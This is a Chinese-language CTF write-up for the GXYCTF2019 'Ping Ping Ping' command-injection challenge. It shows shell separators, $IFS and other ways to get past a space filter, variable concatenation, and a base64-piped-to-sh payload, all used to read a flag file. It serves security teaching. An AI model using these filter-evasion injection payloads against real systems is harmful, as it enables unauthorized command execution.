[GXYCTF2019]Ping Ping Ping(命令执行)

命令执行绕过

常见写法

127.0.0.1&&+code 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。

127.0.0.1&+code &表示将任务置于后台执行

127.0.0.1||+code 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。

127.0.0.1|+code | 表示管道,上一条命令的输出,作为下一条命令的参数 1

27.0.0.1;+code 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

1、 | 通配符

直接输出下一条语句

?ip=127.0.0.1|ls

[GXYCTF2019]Ping Ping Ping(命令执行)_第1张图片

需要找到flag.php,但是index.php应该是过滤规则

?ip=127.0.0.1|cat flag.php ,cat显示

空格绕过方式

$IFS ${IFS} $IFS$1 //可以是任意数字 < <> {cat,flag.php} %20 %09 {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat$IFS$1flag.txt catflag.txt kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

?ip=127.0.0.1|cat$IFS$21index.php

查看规则

[GXYCTF2019]Ping Ping Ping(命令执行)_第2张图片

符号,空格,bash,以及flag内容都被ban

方法1 变量拼接

让a=ag,b=fl拼接出flag

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

?ip=127.0.0.1;b=ag;cat$IFS$21fl$b.php

变量拼接也是绕过正则过滤的一个有效的方法。查看F12获取flag

[GXYCTF2019]Ping Ping Ping(命令执行)_第3张图片

方法2 base64编码

过滤掉的关键词进行base65编码来绕过正则,再使用linux命令将编码解读成我们要执行的命令。我们可以将cat flag.php进行base64编码,再用base -d命令解码。

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

管道符后面为直接的语句

单双引号绕过

虽然这一题单双引号被ban了,但是也是一个不错的绕过姿势。使用单双引号进行拼接,比如

ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。

反斜线绕过

大同小异

ca\t fl\ag

参考文章

GXYCTF 2019 | 题目解析之Ping Ping Ping - FreeBuf网络安全行业门户

[GXYCTF2019]Ping Ping Ping_没事就逛博客的博客-CSDN博客

[GXYCTF 2019]Ping Ping Ping_XiLitter的博客-CSDN博客

命令执行漏洞利用及绕过方式总结 - ghtwf01 - ghtwf01

你可能感兴趣的:(CTF刷题,ctf,刷题,buu,代码执行)